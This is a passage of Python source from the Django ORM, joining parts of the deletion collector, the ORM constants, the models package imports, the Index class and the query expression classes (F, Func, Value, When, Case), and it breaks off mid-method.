                signals.m2m_changed.has_listeners(model)):
            return False
        # The use of from_field comes from the need to avoid cascade back to
        # parent when parent delete is cascading to child.
        opts = model._meta
        if any(link != from_field for link in opts.concrete_model._meta.parents.values()):
            return False
        # Foreign keys pointing to this model, both from m2m and other
        # models.
        for related in get_candidate_relations_to_delete(opts):
            if related.field.remote_field.on_delete is not DO_NOTHING:
                return False
        for field in model._meta.private_fields:
            if hasattr(field, 'bulk_related_objects'):
                # It's something like generic foreign key.
                return False
        return True

    def get_del_batches(self, objs, field):
        """
        Returns the objs in suitably sized batches for the used connection.
        """
        conn_batch_size = max(
            connections[self.using].ops.bulk_batch_size([field.name], objs), 1)
        if len(objs) > conn_batch_size:
            return [objs[i:i + conn_batch_size]
                    for i in range(0, len(objs), conn_batch_size)]
        else:
            return [objs]

    def collect(self, objs, source=None, nullable=False, collect_related=True,
                source_attr=None, reverse_dependency=False, keep_parents=False):
        """
        Adds 'objs' to the collection of objects to be deleted as well as all
        parent instances.  'objs' must be a homogeneous iterable collection of
        model instances (e.g. a QuerySet).  If 'collect_related' is True,
        related objects will be handled by their respective on_delete handler.

        If the call is the result of a cascade, 'source' should be the model
        that caused it and 'nullable' should be set to True, if the relation
        can be null.

        If 'reverse_dependency' is True, 'source' will be deleted before the
        current model, rather than after. (Needed for cascading to parent
        models, the one case in which the cascade follows the forwards
        direction of an FK rather than the reverse direction.)

        If 'keep_parents' is True, data of parent model's will be not deleted.
        """
        if self.can_fast_delete(objs):
            self.fast_deletes.append(objs)
            return
        new_objs = self.add(objs, source, nullable,
                            reverse_dependency=reverse_dependency)
        if not new_objs:
            return

        model = new_objs[0].__class__

        if not keep_parents:
            # Recursively collect concrete model's parent models, but not their
            # related objects. These will be found by meta.get_fields()
            concrete_model = model._meta.concrete_model
            for ptr in six.itervalues(concrete_model._meta.parents):
                if ptr:
                    # FIXME: This seems to be buggy and execute a query for each
                    # parent object fetch. We have the parent data in the obj,
                    # but we don't have a nice way to turn that data into parent
                    # object instance.
                    parent_objs = [getattr(obj, ptr.name) for obj in new_objs]
                    self.collect(parent_objs, source=model,
                                 source_attr=ptr.remote_field.related_name,
                                 collect_related=False,
                                 reverse_dependency=True)
        if collect_related:
            for related in get_candidate_relations_to_delete(model._meta):
                field = related.field
                if field.remote_field.on_delete == DO_NOTHING:
                    continue
                batches = self.get_del_batches(new_objs, field)
                for batch in batches:
                    sub_objs = self.related_objects(related, batch)
                    if self.can_fast_delete(sub_objs, from_field=field):
                        self.fast_deletes.append(sub_objs)
                    elif sub_objs:
                        field.remote_field.on_delete(self, field, sub_objs, self.using)
            for field in model._meta.private_fields:
                if hasattr(field, 'bulk_related_objects'):
                    # It's something like generic foreign key.
                    sub_objs = field.bulk_related_objects(new_objs, self.using)
                    self.collect(sub_objs, source=model, nullable=True)

    def related_objects(self, related, objs):
        """
        Gets a QuerySet of objects related to ``objs`` via the relation ``related``.
        """
        return related.related_model._base_manager.using(self.using).filter(
            **{"%s__in" % related.field.name: objs}
        )

    def instances_with_model(self):
        for model, instances in six.iteritems(self.data):
            for obj in instances:
                yield model, obj

    def sort(self):
        sorted_models = []
        concrete_models = set()
        models = list(self.data)
        while len(sorted_models) < len(models):
            found = False
            for model in models:
                if model in sorted_models:
                    continue
                dependencies = self.dependencies.get(model._meta.concrete_model)
                if not (dependencies and dependencies.difference(concrete_models)):
                    sorted_models.append(model)
                    concrete_models.add(model._meta.concrete_model)
                    found = True
            if not found:
                return
        self.data = OrderedDict((model, self.data[model])
                                for model in sorted_models)

    def delete(self):
        # sort instance collections
        for model, instances in self.data.items():
            self.data[model] = sorted(instances, key=attrgetter("pk"))

        # if possible, bring the models in an order suitable for databases that
        # don't support transactions or cannot defer constraint checks until the
        # end of a transaction.
        self.sort()
        # number of objects deleted for each model label
        deleted_counter = Counter()

        with transaction.atomic(using=self.using, savepoint=False):
            # send pre_delete signals
            for model, obj in self.instances_with_model():
                if not model._meta.auto_created:
                    signals.pre_delete.send(
                        sender=model, instance=obj, using=self.using
                    )

            # fast deletes
            for qs in self.fast_deletes:
                count = qs._raw_delete(using=self.using)
                deleted_counter[qs.model._meta.label] += count

            # update fields
            for model, instances_for_fieldvalues in six.iteritems(self.field_updates):
                query = sql.UpdateQuery(model)
                for (field, value), instances in six.iteritems(instances_for_fieldvalues):
                    query.update_batch([obj.pk for obj in instances],
                                       {field.name: value}, self.using)

            # reverse instance collections
            for instances in six.itervalues(self.data):
                instances.reverse()

            # delete instances
            for model, instances in six.iteritems(self.data):
                query = sql.DeleteQuery(model)
                pk_list = [obj.pk for obj in instances]
                count = query.delete_batch(pk_list, self.using)
                deleted_counter[model._meta.label] += count

                if not model._meta.auto_created:
                    for obj in instances:
                        signals.post_delete.send(
                            sender=model, instance=obj, using=self.using
                        )

        # update collected instances
        for model, instances_for_fieldvalues in six.iteritems(self.field_updates):
            for (field, value), instances in six.iteritems(instances_for_fieldvalues):
                for obj in instances:
                    setattr(obj, field.attname, value)
        for model, instances in six.iteritems(self.data):
            for instance in instances:
                setattr(instance, model._meta.pk.attname, None)
        return sum(deleted_counter.values()), dict(deleted_counter)






"""
Constants used across the ORM in general.
"""

# Separator used to split filter strings apart.
LOOKUP_SEP = '__'






from functools import wraps

from django.core.exceptions import ObjectDoesNotExist  # NOQA
from django.db.models import signals  # NOQA
from django.db.models.aggregates import *  # NOQA
from django.db.models.deletion import (  # NOQA
    CASCADE, DO_NOTHING, PROTECT, SET, SET_DEFAULT, SET_NULL, ProtectedError,
)
from django.db.models.expressions import (  # NOQA
    Case, Expression, ExpressionWrapper, F, Func, Value, When,
)
from django.db.models.fields import *  # NOQA
from django.db.models.fields.files import FileField, ImageField  # NOQA
from django.db.models.fields.proxy import OrderWrt  # NOQA
from django.db.models.indexes import *  # NOQA
from django.db.models.lookups import Lookup, Transform  # NOQA
from django.db.models.manager import Manager  # NOQA
from django.db.models.query import (  # NOQA
    Prefetch, Q, QuerySet, prefetch_related_objects,
)

# Imports that would create circular imports if sorted
from django.db.models.base import DEFERRED, Model  # NOQA isort:skip
from django.db.models.fields.related import (  # NOQA isort:skip
    ForeignKey, ForeignObject, OneToOneField, ManyToManyField,
    ManyToOneRel, ManyToManyRel, OneToOneRel,
)


def permalink(func):
    """
    Decorator that calls urls.reverse() to return a URL using parameters
    returned by the decorated function "func".

    "func" should be a function that returns a tuple in one of the
    following formats:
        (viewname, viewargs)
        (viewname, viewargs, viewkwargs)
    """
    from django.urls import reverse

    @wraps(func)
    def inner(*args, **kwargs):
        bits = func(*args, **kwargs)
        return reverse(bits[0], None, *bits[1:3])
    return inner






from __future__ import unicode_literals

import hashlib

from django.utils.encoding import force_bytes

__all__ = ['Index']

# The max length of the names of the indexes (restricted to 30 due to Oracle)
MAX_NAME_LENGTH = 30


class Index(object):
    suffix = 'idx'

    def __init__(self, fields=[], name=None):
        if not isinstance(fields, list):
            raise ValueError('Index.fields must be a list.')
        if not fields:
            raise ValueError('At least one field is required to define an index.')
        self.fields = fields
        # A list of 2-tuple with the field name and ordering ('' or 'DESC').
        self.fields_orders = [
            (field_name[1:], 'DESC') if field_name.startswith('-') else (field_name, '')
            for field_name in self.fields
        ]
        self.name = name or ''
        if self.name:
            errors = self.check_name()
            if len(self.name) > MAX_NAME_LENGTH:
                errors.append('Index names cannot be longer than %s characters.' % MAX_NAME_LENGTH)
            if errors:
                raise ValueError(errors)

    def check_name(self):
        errors = []
        # Name can't start with an underscore on Oracle; prepend D if needed.
        if self.name[0] == '_':
            errors.append('Index names cannot start with an underscore (_).')
            self.name = 'D%s' % self.name[1:]
        # Name can't start with a number on Oracle; prepend D if needed.
        elif self.name[0].isdigit():
            errors.append('Index names cannot start with a number (0-9).')
            self.name = 'D%s' % self.name[1:]
        return errors

    def create_sql(self, model, schema_editor, using=''):
        fields = [model._meta.get_field(field_name) for field_name, order in self.fields_orders]
        tablespace_sql = schema_editor._get_index_tablespace_sql(model, fields)
        quote_name = schema_editor.quote_name
        columns = [
            ('%s %s' % (quote_name(field.column), order)).strip()
            for field, (field_name, order) in zip(fields, self.fields_orders)
        ]
        return schema_editor.sql_create_index % {
            'table': quote_name(model._meta.db_table),
            'name': quote_name(self.name),
            'columns': ', '.join(columns),
            'using': using,
            'extra': tablespace_sql,
        }

    def remove_sql(self, model, schema_editor):
        quote_name = schema_editor.quote_name
        return schema_editor.sql_delete_index % {
            'table': quote_name(model._meta.db_table),
            'name': quote_name(self.name),
        }

    def deconstruct(self):
        path = '%s.%s' % (self.__class__.__module__, self.__class__.__name__)
        path = path.replace('django.db.models.indexes', 'django.db.models')
        return (path, (), {'fields': self.fields, 'name': self.name})

    @staticmethod
    def _hash_generator(*args):
        """
        Generate a 32-bit digest of a set of arguments that can be used to
        shorten identifying names.
        """
        h = hashlib.md5()
        for arg in args:
            h.update(force_bytes(arg))
        return h.hexdigest()[:6]

    def set_name_with_model(self, model):
        """
        Generate a unique name for the index.

        The name is divided into 3 parts - table name (12 chars), field name
        (8 chars) and unique hash + suffix (10 chars). Each part is made to
        fit its size by truncating the excess length.
        """
        table_name = model._meta.db_table
        column_names = [model._meta.get_field(field_name).column for field_name, order in self.fields_orders]
        column_names_with_order = [
            (('-%s' if order else '%s') % column_name)
            for column_name, (field_name, order) in zip(column_names, self.fields_orders)
        ]
        hash_data = [table_name] + column_names_with_order + [self.suffix]
        self.name = '%s_%s_%s' % (
            table_name[:11],
            column_names[0][:7],
            '%s_%s' % (self._hash_generator(*hash_data), self.suffix),
        )
        assert len(self.name) <= 30, (
            'Index too long for multiple database support. Is self.suffix '
            'longer than 3 characters?'
        )
        self.check_name()

    def __repr__(self):
        return "<%s: fields='%s'>" % (self.__class__.__name__, ', '.join(self.fields))

    def __eq__(self, other):
        return (self.__class__ == other.__class__) and (self.deconstruct() == other.deconstruct())

    def __ne__(self, other):
        return not (self == other)






import copy
import datetime

from django.core.exceptions import EmptyResultSet, FieldError
from django.db.backends import utils as backend_utils
from django.db.models import fields
from django.db.models.query_utils import Q
from django.utils import six
from django.utils.functional import cached_property


class Combinable(object):
    """
    Provides the ability to combine one or two objects with
    some connector. For example F('foo') + F('bar').
    """

    # Arithmetic connectors
    ADD = '+'
    SUB = '-'
    MUL = '*'
    DIV = '/'
    POW = '^'
    # The following is a quoted % operator - it is quoted because it can be
    # used in strings that also have parameter substitution.
    MOD = '%%'

    # Bitwise operators - note that these are generated by .bitand()
    # and .bitor(), the '&' and '|' are reserved for boolean operator
    # usage.
    BITAND = '&'
    BITOR = '|'

    def _combine(self, other, connector, reversed, node=None):
        if not hasattr(other, 'resolve_expression'):
            # everything must be resolvable to an expression
            if isinstance(other, datetime.timedelta):
                other = DurationValue(other, output_field=fields.DurationField())
            else:
                other = Value(other)

        if reversed:
            return CombinedExpression(other, connector, self)
        return CombinedExpression(self, connector, other)

    #############
    # OPERATORS #
    #############

    def __add__(self, other):
        return self._combine(other, self.ADD, False)

    def __sub__(self, other):
        return self._combine(other, self.SUB, False)

    def __mul__(self, other):
        return self._combine(other, self.MUL, False)

    def __truediv__(self, other):
        return self._combine(other, self.DIV, False)

    def __div__(self, other):  # Python 2 compatibility
        return type(self).__truediv__(self, other)

    def __mod__(self, other):
        return self._combine(other, self.MOD, False)

    def __pow__(self, other):
        return self._combine(other, self.POW, False)

    def __and__(self, other):
        raise NotImplementedError(
            "Use .bitand() and .bitor() for bitwise logical operations."
        )

    def bitand(self, other):
        return self._combine(other, self.BITAND, False)

    def __or__(self, other):
        raise NotImplementedError(
            "Use .bitand() and .bitor() for bitwise logical operations."
        )

    def bitor(self, other):
        return self._combine(other, self.BITOR, False)

    def __radd__(self, other):
        return self._combine(other, self.ADD, True)

    def __rsub__(self, other):
        return self._combine(other, self.SUB, True)

    def __rmul__(self, other):
        return self._combine(other, self.MUL, True)

    def __rtruediv__(self, other):
        return self._combine(other, self.DIV, True)

    def __rdiv__(self, other):  # Python 2 compatibility
        return type(self).__rtruediv__(self, other)

    def __rmod__(self, other):
        return self._combine(other, self.MOD, True)

    def __rpow__(self, other):
        return self._combine(other, self.POW, True)

    def __rand__(self, other):
        raise NotImplementedError(
            "Use .bitand() and .bitor() for bitwise logical operations."
        )

    def __ror__(self, other):
        raise NotImplementedError(
            "Use .bitand() and .bitor() for bitwise logical operations."
        )


class BaseExpression(object):
    """
    Base class for all query expressions.
    """

    # aggregate specific fields
    is_summary = False
    _output_field = None

    def __init__(self, output_field=None):
        if output_field is not None:
            self._output_field = output_field

    def get_db_converters(self, connection):
        return [self.convert_value] + self.output_field.get_db_converters(connection)

    def get_source_expressions(self):
        return []

    def set_source_expressions(self, exprs):
        assert len(exprs) == 0

    def _parse_expressions(self, *expressions):
        return [
            arg if hasattr(arg, 'resolve_expression') else (
                F(arg) if isinstance(arg, six.string_types) else Value(arg)
            ) for arg in expressions
        ]

    def as_sql(self, compiler, connection):
        """
        Responsible for returning a (sql, [params]) tuple to be included
        in the current query.

        Different backends can provide their own implementation, by
        providing an `as_{vendor}` method and patching the Expression:

        ```
        def override_as_sql(self, compiler, connection):
            # custom logic
            return super(Expression, self).as_sql(compiler, connection)
        setattr(Expression, 'as_' + connection.vendor, override_as_sql)
        ```

        Arguments:
         * compiler: the query compiler responsible for generating the query.
           Must have a compile method, returning a (sql, [params]) tuple.
           Calling compiler(value) will return a quoted `value`.

         * connection: the database connection used for the current query.

        Returns: (sql, params)
          Where `sql` is a string containing ordered sql parameters to be
          replaced with the elements of the list `params`.
        """
        raise NotImplementedError("Subclasses must implement as_sql()")

    @cached_property
    def contains_aggregate(self):
        for expr in self.get_source_expressions():
            if expr and expr.contains_aggregate:
                return True
        return False

    @cached_property
    def contains_column_references(self):
        for expr in self.get_source_expressions():
            if expr and expr.contains_column_references:
                return True
        return False

    def resolve_expression(self, query=None, allow_joins=True, reuse=None, summarize=False, for_save=False):
        """
        Provides the chance to do any preprocessing or validation before being
        added to the query.

        Arguments:
         * query: the backend query implementation
         * allow_joins: boolean allowing or denying use of joins
           in this query
         * reuse: a set of reusable joins for multijoins
         * summarize: a terminal aggregate clause
         * for_save: whether this expression about to be used in a save or update

        Returns: an Expression to be added to the query.
        """
        c = self.copy()
        c.is_summary = summarize
        c.set_source_expressions([
            expr.resolve_expression(query, allow_joins, reuse, summarize)
            for expr in c.get_source_expressions()
        ])
        return c

    def _prepare(self, field):
        """
        Hook used by Lookup.get_prep_lookup() to do custom preparation.
        """
        return self

    @property
    def field(self):
        return self.output_field

    @cached_property
    def output_field(self):
        """
        Returns the output type of this expressions.
        """
        if self._output_field_or_none is None:
            raise FieldError("Cannot resolve expression type, unknown output_field")
        return self._output_field_or_none

    @cached_property
    def _output_field_or_none(self):
        """
        Returns the output field of this expression, or None if no output type
        can be resolved. Note that the 'output_field' property will raise
        FieldError if no type can be resolved, but this attribute allows for
        None values.
        """
        if self._output_field is None:
            self._resolve_output_field()
        return self._output_field

    def _resolve_output_field(self):
        """
        Attempts to infer the output type of the expression. If the output
        fields of all source fields match then we can simply infer the same
        type here. This isn't always correct, but it makes sense most of the
        time.

        Consider the difference between `2 + 2` and `2 / 3`. Inferring
        the type here is a convenience for the common case. The user should
        supply their own output_field with more complex computations.

        If a source does not have an `_output_field` then we exclude it from
        this check. If all sources are `None`, then an error will be thrown
        higher up the stack in the `output_field` property.
        """
        if self._output_field is None:
            sources = self.get_source_fields()
            num_sources = len(sources)
            if num_sources == 0:
                self._output_field = None
            else:
                for source in sources:
                    if self._output_field is None:
                        self._output_field = source
                    if source is not None and not isinstance(self._output_field, source.__class__):
                        raise FieldError(
                            "Expression contains mixed types. You must set output_field")

    def convert_value(self, value, expression, connection, context):
        """
        Expressions provide their own converters because users have the option
        of manually specifying the output_field which may be a different type
        from the one the database returns.
        """
        field = self.output_field
        internal_type = field.get_internal_type()
        if value is None:
            return value
        elif internal_type == 'FloatField':
            return float(value)
        elif internal_type.endswith('IntegerField'):
            return int(value)
        elif internal_type == 'DecimalField':
            return backend_utils.typecast_decimal(value)
        return value

    def get_lookup(self, lookup):
        return self.output_field.get_lookup(lookup)

    def get_transform(self, name):
        return self.output_field.get_transform(name)

    def relabeled_clone(self, change_map):
        clone = self.copy()
        clone.set_source_expressions(
            [e.relabeled_clone(change_map) for e in self.get_source_expressions()])
        return clone

    def copy(self):
        c = copy.copy(self)
        c.copied = True
        return c

    def get_group_by_cols(self):
        if not self.contains_aggregate:
            return [self]
        cols = []
        for source in self.get_source_expressions():
            cols.extend(source.get_group_by_cols())
        return cols

    def get_source_fields(self):
        """
        Returns the underlying field types used by this
        aggregate.
        """
        return [e._output_field_or_none for e in self.get_source_expressions()]

    def asc(self):
        return OrderBy(self)

    def desc(self):
        return OrderBy(self, descending=True)

    def reverse_ordering(self):
        return self

    def flatten(self):
        """
        Recursively yield this expression and all subexpressions, in
        depth-first order.
        """
        yield self
        for expr in self.get_source_expressions():
            if expr:
                for inner_expr in expr.flatten():
                    yield inner_expr


class Expression(BaseExpression, Combinable):
    """
    An expression that can be combined with other expressions.
    """
    pass


class CombinedExpression(Expression):

    def __init__(self, lhs, connector, rhs, output_field=None):
        super(CombinedExpression, self).__init__(output_field=output_field)
        self.connector = connector
        self.lhs = lhs
        self.rhs = rhs

    def __repr__(self):
        return "<{}: {}>".format(self.__class__.__name__, self)

    def __str__(self):
        return "{} {} {}".format(self.lhs, self.connector, self.rhs)

    def get_source_expressions(self):
        return [self.lhs, self.rhs]

    def set_source_expressions(self, exprs):
        self.lhs, self.rhs = exprs

    def as_sql(self, compiler, connection):
        try:
            lhs_output = self.lhs.output_field
        except FieldError:
            lhs_output = None
        try:
            rhs_output = self.rhs.output_field
        except FieldError:
            rhs_output = None
        if (not connection.features.has_native_duration_field and
                ((lhs_output and lhs_output.get_internal_type() == 'DurationField') or
                 (rhs_output and rhs_output.get_internal_type() == 'DurationField'))):
            return DurationExpression(self.lhs, self.connector, self.rhs).as_sql(compiler, connection)
        if (lhs_output and rhs_output and self.connector == self.SUB and
            lhs_output.get_internal_type() in {'DateField', 'DateTimeField', 'TimeField'} and
                lhs_output.get_internal_type() == lhs_output.get_internal_type()):
            return TemporalSubtraction(self.lhs, self.rhs).as_sql(compiler, connection)
        expressions = []
        expression_params = []
        sql, params = compiler.compile(self.lhs)
        expressions.append(sql)
        expression_params.extend(params)
        sql, params = compiler.compile(self.rhs)
        expressions.append(sql)
        expression_params.extend(params)
        # order of precedence
        expression_wrapper = '(%s)'
        sql = connection.ops.combine_expression(self.connector, expressions)
        return expression_wrapper % sql, expression_params

    def resolve_expression(self, query=None, allow_joins=True, reuse=None, summarize=False, for_save=False):
        c = self.copy()
        c.is_summary = summarize
        c.lhs = c.lhs.resolve_expression(query, allow_joins, reuse, summarize, for_save)
        c.rhs = c.rhs.resolve_expression(query, allow_joins, reuse, summarize, for_save)
        return c


class DurationExpression(CombinedExpression):
    def compile(self, side, compiler, connection):
        if not isinstance(side, DurationValue):
            try:
                output = side.output_field
            except FieldError:
                pass
            else:
                if output.get_internal_type() == 'DurationField':
                    sql, params = compiler.compile(side)
                    return connection.ops.format_for_duration_arithmetic(sql), params
        return compiler.compile(side)

    def as_sql(self, compiler, connection):
        connection.ops.check_expression_support(self)
        expressions = []
        expression_params = []
        sql, params = self.compile(self.lhs, compiler, connection)
        expressions.append(sql)
        expression_params.extend(params)
        sql, params = self.compile(self.rhs, compiler, connection)
        expressions.append(sql)
        expression_params.extend(params)
        # order of precedence
        expression_wrapper = '(%s)'
        sql = connection.ops.combine_duration_expression(self.connector, expressions)
        return expression_wrapper % sql, expression_params


class TemporalSubtraction(CombinedExpression):
    def __init__(self, lhs, rhs):
        super(TemporalSubtraction, self).__init__(lhs, self.SUB, rhs, output_field=fields.DurationField())

    def as_sql(self, compiler, connection):
        connection.ops.check_expression_support(self)
        lhs = compiler.compile(self.lhs, connection)
        rhs = compiler.compile(self.rhs, connection)
        return connection.ops.subtract_temporals(self.lhs.output_field.get_internal_type(), lhs, rhs)


class F(Combinable):
    """
    An object capable of resolving references to existing query objects.
    """
    def __init__(self, name):
        """
        Arguments:
         * name: the name of the field this expression references
        """
        self.name = name

    def __repr__(self):
        return "{}({})".format(self.__class__.__name__, self.name)

    def resolve_expression(self, query=None, allow_joins=True, reuse=None, summarize=False, for_save=False):
        return query.resolve_ref(self.name, allow_joins, reuse, summarize)

    def asc(self):
        return OrderBy(self)

    def desc(self):
        return OrderBy(self, descending=True)


class Func(Expression):
    """
    An SQL function call.
    """
    function = None
    template = '%(function)s(%(expressions)s)'
    arg_joiner = ', '
    arity = None  # The number of arguments the function accepts.

    def __init__(self, *expressions, **extra):
        if self.arity is not None and len(expressions) != self.arity:
            raise TypeError(
                "'%s' takes exactly %s %s (%s given)" % (
                    self.__class__.__name__,
                    self.arity,
                    "argument" if self.arity == 1 else "arguments",
                    len(expressions),
                )
            )
        output_field = extra.pop('output_field', None)
        super(Func, self).__init__(output_field=output_field)
        self.source_expressions = self._parse_expressions(*expressions)
        self.extra = extra

    def __repr__(self):
        args = self.arg_joiner.join(str(arg) for arg in self.source_expressions)
        extra = ', '.join(str(key) + '=' + str(val) for key, val in self.extra.items())
        if extra:
            return "{}({}, {})".format(self.__class__.__name__, args, extra)
        return "{}({})".format(self.__class__.__name__, args)

    def get_source_expressions(self):
        return self.source_expressions

    def set_source_expressions(self, exprs):
        self.source_expressions = exprs

    def resolve_expression(self, query=None, allow_joins=True, reuse=None, summarize=False, for_save=False):
        c = self.copy()
        c.is_summary = summarize
        for pos, arg in enumerate(c.source_expressions):
            c.source_expressions[pos] = arg.resolve_expression(query, allow_joins, reuse, summarize, for_save)
        return c

    def as_sql(self, compiler, connection, function=None, template=None, arg_joiner=None, **extra_context):
        connection.ops.check_expression_support(self)
        sql_parts = []
        params = []
        for arg in self.source_expressions:
            arg_sql, arg_params = compiler.compile(arg)
            sql_parts.append(arg_sql)
            params.extend(arg_params)
        data = self.extra.copy()
        data.update(**extra_context)
        # Use the first supplied value in this order: the parameter to this
        # method, a value supplied in __init__()'s **extra (the value in
        # `data`), or the value defined on the class.
        if function is not None:
            data['function'] = function
        else:
            data.setdefault('function', self.function)
        template = template or data.get('template', self.template)
        arg_joiner = arg_joiner or data.get('arg_joiner', self.arg_joiner)
        data['expressions'] = data['field'] = arg_joiner.join(sql_parts)
        return template % data, params

    def as_sqlite(self, compiler, connection):
        sql, params = self.as_sql(compiler, connection)
        try:
            if self.output_field.get_internal_type() == 'DecimalField':
                sql = 'CAST(%s AS NUMERIC)' % sql
        except FieldError:
            pass
        return sql, params

    def copy(self):
        copy = super(Func, self).copy()
        copy.source_expressions = self.source_expressions[:]
        copy.extra = self.extra.copy()
        return copy


class Value(Expression):
    """
    Represents a wrapped value as a node within an expression
    """
    def __init__(self, value, output_field=None):
        """
        Arguments:
         * value: the value this expression represents. The value will be
           added into the sql parameter list and properly quoted.

         * output_field: an instance of the model field type that this
           expression will return, such as IntegerField() or CharField().
        """
        super(Value, self).__init__(output_field=output_field)
        self.value = value

    def __repr__(self):
        return "{}({})".format(self.__class__.__name__, self.value)

    def as_sql(self, compiler, connection):
        connection.ops.check_expression_support(self)
        val = self.value
        # check _output_field to avoid triggering an exception
        if self._output_field is not None:
            if self.for_save:
                val = self.output_field.get_db_prep_save(val, connection=connection)
            else:
                val = self.output_field.get_db_prep_value(val, connection=connection)
        if val is None:
            # cx_Oracle does not always convert None to the appropriate
            # NULL type (like in case expressions using numbers), so we
            # use a literal SQL NULL
            return 'NULL', []
        return '%s', [val]

    def resolve_expression(self, query=None, allow_joins=True, reuse=None, summarize=False, for_save=False):
        c = super(Value, self).resolve_expression(query, allow_joins, reuse, summarize, for_save)
        c.for_save = for_save
        return c

    def get_group_by_cols(self):
        return []


class DurationValue(Value):
    def as_sql(self, compiler, connection):
        connection.ops.check_expression_support(self)
        if (connection.features.has_native_duration_field and
                connection.features.driver_supports_timedelta_args):
            return super(DurationValue, self).as_sql(compiler, connection)
        return connection.ops.date_interval_sql(self.value)


class RawSQL(Expression):
    def __init__(self, sql, params, output_field=None):
        if output_field is None:
            output_field = fields.Field()
        self.sql, self.params = sql, params
        super(RawSQL, self).__init__(output_field=output_field)

    def __repr__(self):
        return "{}({}, {})".format(self.__class__.__name__, self.sql, self.params)

    def as_sql(self, compiler, connection):
        return '(%s)' % self.sql, self.params

    def get_group_by_cols(self):
        return [self]


class Star(Expression):
    def __repr__(self):
        return "'*'"

    def as_sql(self, compiler, connection):
        return '*', []


class Random(Expression):
    def __init__(self):
        super(Random, self).__init__(output_field=fields.FloatField())

    def __repr__(self):
        return "Random()"

    def as_sql(self, compiler, connection):
        return connection.ops.random_function_sql(), []


class Col(Expression):

    contains_column_references = True

    def __init__(self, alias, target, output_field=None):
        if output_field is None:
            output_field = target
        super(Col, self).__init__(output_field=output_field)
        self.alias, self.target = alias, target

    def __repr__(self):
        return "{}({}, {})".format(
            self.__class__.__name__, self.alias, self.target)

    def as_sql(self, compiler, connection):
        qn = compiler.quote_name_unless_alias
        return "%s.%s" % (qn(self.alias), qn(self.target.column)), []

    def relabeled_clone(self, relabels):
        return self.__class__(relabels.get(self.alias, self.alias), self.target, self.output_field)

    def get_group_by_cols(self):
        return [self]

    def get_db_converters(self, connection):
        if self.target == self.output_field:
            return self.output_field.get_db_converters(connection)
        return (self.output_field.get_db_converters(connection) +
                self.target.get_db_converters(connection))


class Ref(Expression):
    """
    Reference to column alias of the query. For example, Ref('sum_cost') in
    qs.annotate(sum_cost=Sum('cost')) query.
    """
    def __init__(self, refs, source):
        super(Ref, self).__init__()
        self.refs, self.source = refs, source

    def __repr__(self):
        return "{}({}, {})".format(self.__class__.__name__, self.refs, self.source)

    def get_source_expressions(self):
        return [self.source]

    def set_source_expressions(self, exprs):
        self.source, = exprs

    def resolve_expression(self, query=None, allow_joins=True, reuse=None, summarize=False, for_save=False):
        # The sub-expression `source` has already been resolved, as this is
        # just a reference to the name of `source`.
        return self

    def relabeled_clone(self, relabels):
        return self

    def as_sql(self, compiler, connection):
        return "%s" % connection.ops.quote_name(self.refs), []

    def get_group_by_cols(self):
        return [self]


class ExpressionWrapper(Expression):
    """
    An expression that can wrap another expression so that it can provide
    extra context to the inner expression, such as the output_field.
    """

    def __init__(self, expression, output_field):
        super(ExpressionWrapper, self).__init__(output_field=output_field)
        self.expression = expression

    def set_source_expressions(self, exprs):
        self.expression = exprs[0]

    def get_source_expressions(self):
        return [self.expression]

    def as_sql(self, compiler, connection):
        return self.expression.as_sql(compiler, connection)

    def __repr__(self):
        return "{}({})".format(self.__class__.__name__, self.expression)


class When(Expression):
    template = 'WHEN %(condition)s THEN %(result)s'

    def __init__(self, condition=None, then=None, **lookups):
        if lookups and condition is None:
            condition, lookups = Q(**lookups), None
        if condition is None or not isinstance(condition, Q) or lookups:
            raise TypeError("__init__() takes either a Q object or lookups as keyword arguments")
        super(When, self).__init__(output_field=None)
        self.condition = condition
        self.result = self._parse_expressions(then)[0]

    def __str__(self):
        return "WHEN %r THEN %r" % (self.condition, self.result)

    def __repr__(self):
        return "<%s: %s>" % (self.__class__.__name__, self)

    def get_source_expressions(self):
        return [self.condition, self.result]

    def set_source_expressions(self, exprs):
        self.condition, self.result = exprs

    def get_source_fields(self):
        # We're only interested in the fields of the result expressions.
        return [self.result._output_field_or_none]

    def resolve_expression(self, query=None, allow_joins=True, reuse=None, summarize=False, for_save=False):
        c = self.copy()
        c.is_summary = summarize
        if hasattr(c.condition, 'resolve_expression'):
            c.condition = c.condition.resolve_expression(query, allow_joins, reuse, summarize, False)
        c.result = c.result.resolve_expression(query, allow_joins, reuse, summarize, for_save)
        return c

    def as_sql(self, compiler, connection, template=None, **extra_context):
        connection.ops.check_expression_support(self)
        template_params = extra_context
        sql_params = []
        condition_sql, condition_params = compiler.compile(self.condition)
        template_params['condition'] = condition_sql
        sql_params.extend(condition_params)
        result_sql, result_params = compiler.compile(self.result)
        template_params['result'] = result_sql
        sql_params.extend(result_params)
        template = template or self.template
        return template % template_params, sql_params

    def get_group_by_cols(self):
        # This is not a complete expression and cannot be used in GROUP BY.
        cols = []
        for source in self.get_source_expressions():
            cols.extend(source.get_group_by_cols())
        return cols


class Case(Expression):
    """
    An SQL searched CASE expression:

        CASE
            WHEN n > 0
                THEN 'positive'
            WHEN n < 0
                THEN 'negative'
            ELSE 'zero'
        END
    """
    template = 'CASE %(cases)s ELSE %(default)s END'
    case_joiner = ' '

    def __init__(self, *cases, **extra):
        if not all(isinstance(case, When) for case in cases):
            raise TypeError("Positional arguments must all be When objects.")
        default = extra.pop('default', None)
        output_field = extra.pop('output_field', None)
        super(Case, self).__init__(output_field)
        self.cases = list(cases)
        self.default = self._parse_expressions(default)[0]
        self.extra = extra

    def __str__(self):
        return "CASE %s, ELSE %r" % (', '.join(str(c) for c in self.cases), self.default)

    def __repr__(self):
        return "<%s: %s>" % (self.__class__.__name__, self)

    def get_source_expressions(self):
        return self.cases + [self.default]

    def set_source_expressions(self, exprs):
        self.cases = exprs[:-1]
        self.default = exprs[-1]

    def resolve_expression(self, query=None, allow_joins=True, reuse=None, summarize=False, for_save=False):
        c = self.copy()
        c.is_summary = summarize
        for pos, case in enumerate(c.cases):
            c.cases[pos] = case.resolve_expression(query, allow_joins, reuse, summarize, for_save)
        c.default = c.default.resolve_expression(query, allow_joins, reuse, summarize, for_save)
        return c

    def copy(self):
        c = super(Case, self).copy()
        c.cases = c.cases[:]
        return c

    def as_sql(self, compiler, connection, template=None, case_joiner=None, **extra_context):
        connection.ops.check_expression_support(self)
        if not self.cases:
            return compiler.compile(self.default)
        template_params = self.extra.copy()
        template_params.update(extra_context)
        case_parts = []
        sql_params = []
        for case in self.cases:
            try:
                case_sql, case_params = compiler.compile(case)
            except EmptyResultSet:
                continue
            case_parts.append(case_sql)
